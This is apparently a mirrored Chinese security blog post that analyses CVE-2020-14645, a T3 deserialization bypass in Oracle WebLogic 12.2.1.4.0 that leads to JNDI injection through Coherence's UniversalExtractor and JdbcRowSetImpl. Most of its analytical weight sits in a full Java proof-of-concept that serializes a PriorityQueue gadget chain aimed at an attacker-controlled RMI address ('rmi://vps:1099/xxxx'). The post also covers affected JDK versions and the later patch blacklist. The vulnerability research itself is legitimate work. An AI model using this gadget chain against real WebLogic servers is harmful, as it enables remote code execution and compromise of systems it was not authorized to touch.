T3反序列化 Weblogic12.2.1.4.0 JNDI注入挖掘过程(CVE-2020-14645)
source link: https://www.smi1e.top/t3%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96-weblogic12-2-1-4-0-jndi%e6%b3%a8%e5%85%a5/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
T3反序列化 Weblogic12.2.1.4.0 JNDI注入挖掘过程(CVE-2020-14645)
()首发于:https://mp.weixin.qq.com/s/8678EM15rZSeFBHGDfPvPQ
CVE-2020-2883 将
extract
方法存在危险操作的MvelExtractor
和ReflectionExtractor
两个类加入到了黑名单中,因此我们只需要继续找一个extract
方法存在危险操作的类即可绕过补丁,这里找到的是 Weblogic 12.2.1.4.0 Coherence 组件特有的类com.tangosol.util.extractor.UniversalExtractor
,因此只能打 Weblogic 12.2.1.4.x。
Oracle WebLogic Server 12.2.1.4.0
入口同 CVE-2020-2883,利用 java.util.PriorityQueue
反序列化时会间接调用 com.tangosol.util.ValueExtractor
接口任意实现类的 extract
方法。
com.tangosol.coherence.rest.util.extractor.MvelExtractor
的 extract
方法执行mvel表达式或者使用 com.tangosol.util.extractor.ReflectionExtractor
的 extract
方法反射调用任意方法。但是补丁把他们都加入到了黑名单中,因此我们需要再找一个 extract
方法有危险操作且实现了 com.tangosol.util.ValueExtractor
接口的类。我这里找到的是
com.tangosol.util.extractor.UniversalExtractor
public class UniversalExtractor<T, E> extends AbstractExtractor<T, E> implements ValueExtractor<T, E>, ExternalizableLite, PortableObject {
public static final String[] BEAN_ACCESSOR_PREFIXES;
public static final String METHOD_SUFFIX = "()";
@JsonbProperty("name")
protected String m_sName;
@JsonbProperty("params")
protected Object[] m_aoParam;
protected transient String m_sNameCanon;
private transient TargetReflectionDescriptor m_cacheTarget;
private transient boolean m_fMethod;
......
}
看其 extract
方法,虽然if条件中有一个 invoke
操作,但是 this.m_cacheTarget
使用了 transient
修饰导致无法被序列化。
extractComplex
方法,该方法中也有一个 invoke
操作,虽然我们可以控制参数 oTarget
和 aoParam
,但是 method
对象的获取过程也有一个if条件。ClassHelper.findMethod
方法通过类、方法名以及方法的参数类型数组来反射返回该类中的特定方法。因此只要我们进入else条件中,即可调用任意类的任意方法。
进入else条件的前提是 this.isPropertyExtractor()
返回false,也就是 this.m_fMethod
为true,但是该成员变量依然使用 transient
修饰,无法序列化,因此我们只能寄希望于if条件中。
public boolean isPropertyExtractor() {
return !this.m_fMethod;
}
看下if条件
protected E extractComplex(T oTarget) throws InvocationTargetException, IllegalAccessException {
......
String sCName = this.getCanonicalName();
boolean fProperty = this.isPropertyExtractor();
Method method = null;
if (fProperty) {
String sBeanAttribute = Character.toUpperCase(sCName.charAt(0)) + sCName.substring(1);
for(int cchPrefix = 0; cchPrefix < BEAN_ACCESSOR_PREFIXES.length && method == null; ++cchPrefix) {
method = ClassHelper.findMethod(clzTarget, BEAN_ACCESSOR_PREFIXES[cchPrefix] + sBeanAttribute, clzParam, false);
}else{
......
}
}
跟进 sCName
的赋值过程 this.getCanonicalName()
,因为this对象的原因,Lambdas.getValueExtractorCanonicalName
无论如何都会返回null。
CanonicalNames.computeValueExtractorCanonicalName
,如果 aoParam
不为 null
且数组长度大于0就会返回 null
,因此我们可调用的方法必须是无参的。接着如果方法名 sName
不以 ()
结尾,则直接返回方法名。否则会判断方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES
数组中的前缀开头,是的话就会截取掉并返回。
回到 extractComplex
方法中,在if条件里会对上面返回的方法名做首字母大写处理,然后拼接 BEAN_ACCESSOR_PREFIXES
数组中的前缀判断 clzTarget
类中是否含有拼接后的方法,此时会发现我们现在无论如何只能调用任意类中 get
和 is
开头的方法,并且是无参的,条件有些苛刻。
不过仔细观察发现 UniversalExtractor#extract
方法可以调用两次,我们可以利用第一次调用改变 UniversalExtractor
对象的关键成员变量值,在第二次调用时完成利用。
接下来我想了三个思路:
- 直接去找所有类中
get
和is
开头并且可利用的无参方法 - 想办法调用
init
方法对this.m_fMethod
进行赋值,从而令fProperty
的值为false并进入else条件中。
extractComplex
方法中对this.m_cacheTarget
进行了赋值,因此我们第二次调用UniversalExtractor#extract
方法时可以进入到if条件中执行targetPrev.getMethod().invoke()
。
get
和 is
开头的方法,因此思路2不行。由于我们在利用 targetPrev.getMethod().invoke()
调用任意方法时,传入的参数和 extractComplex
方法中 findMethod
的参数是同一个,导致如果我们调用非 get
和 is
开头的方法时,findMethod
会返回 null
,从而在 method.invoke
时会报错,这样的话就无法第二次调用 UniversalExtractor#extract
方法,因此思路3也不行。最终只能用思路1去全局搜
get
和 is
开头且存在危险操作的无参方法。虽然只能调用无参方法,但是我们可以通过序列化控制对象的成员变量来获取一些可控点,当然该方法所在的类必须是可序列化的,另外该方法的危险操作涉及到的对象依然需要可序列化,否则无法利用。这个寻找过程和fastjson有些相似,最终找到了
com.sun.rowset.JdbcRowSetImpl
这个jdk内置类,看下其 getDatabaseMetaData()
方法。
跟进 this.connect()
,可以发现只要 this.getDataSourceName()
可控,我们就能进行JNDI注入。getDataSourceName()
调用的是父类 javax.sql.rowset.BaseRowSet
的,其 dataSource
属性是可序列化的,因此我们可以控制 this.getDataSourceName()
的返回值。
private String dataSource;
import java.io.*;
import java.lang.reflect.Field;
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import java.util.PriorityQueue;
import com.tangosol.util.extractor.UniversalExtractor;
public class Weblogic12_2_1_4_JNDI {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://vps:1099/xxxx"); //JNDI address
String m_sName = "getDatabaseMetaData()";
Object[] m_aoParam = new Object[0];
UniversalExtractor universalExtractor = new UniversalExtractor(m_sName, m_aoParam,0);
Object[] innerArr = new Object[2];
innerArr[0] = jdbcRowSet;
innerArr[1] = jdbcRowSet;
ExtractorComparator extractorComparator = new ExtractorComparator(universalExtractor);
PriorityQueue priorityQueue = new PriorityQueue(2, extractorComparator);
Field filed = PriorityQueue.class.getDeclaredField("queue");
filed.setAccessible(true);
filed.set(priorityQueue, innerArr);
Field filed2 = PriorityQueue.class.getDeclaredField("size");
filed2.setAccessible(true);
filed2.set(priorityQueue, 2);
ser(priorityQueue, "./weblogic_12.2.1.4.0_JNDI.ser");
}
public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new DataOutputStream(new FileOutputStream(file)));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}
}
由于Weblogic在JEP290机制下做的是全局反序列化过滤,而JNDI在jdk高版本依赖于本地Class的反序列化链,因此在Weblogic中JNDI注入只能打 JDK6u211、7u201、8u191
之前的版本。
p31537019_122140_Generic.zip:https://updates.oracle.com/Orion/Services/download/p31537019_122140_Generic.zip?aru=23654622&patch_file=p31537019_122140_Generic.zip
可以看到最新补丁的黑名单中不仅过滤了 com.tangosol.util.extractor.UniversalExtractor
,还过滤了 com.tangosol.util.extractor
包下的其他几个类,另外也把com.tangosol.coherence.rest.util.extractor
、com.tangosol.internal.util.invoke.lambda
等一些包加入了黑名单中。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK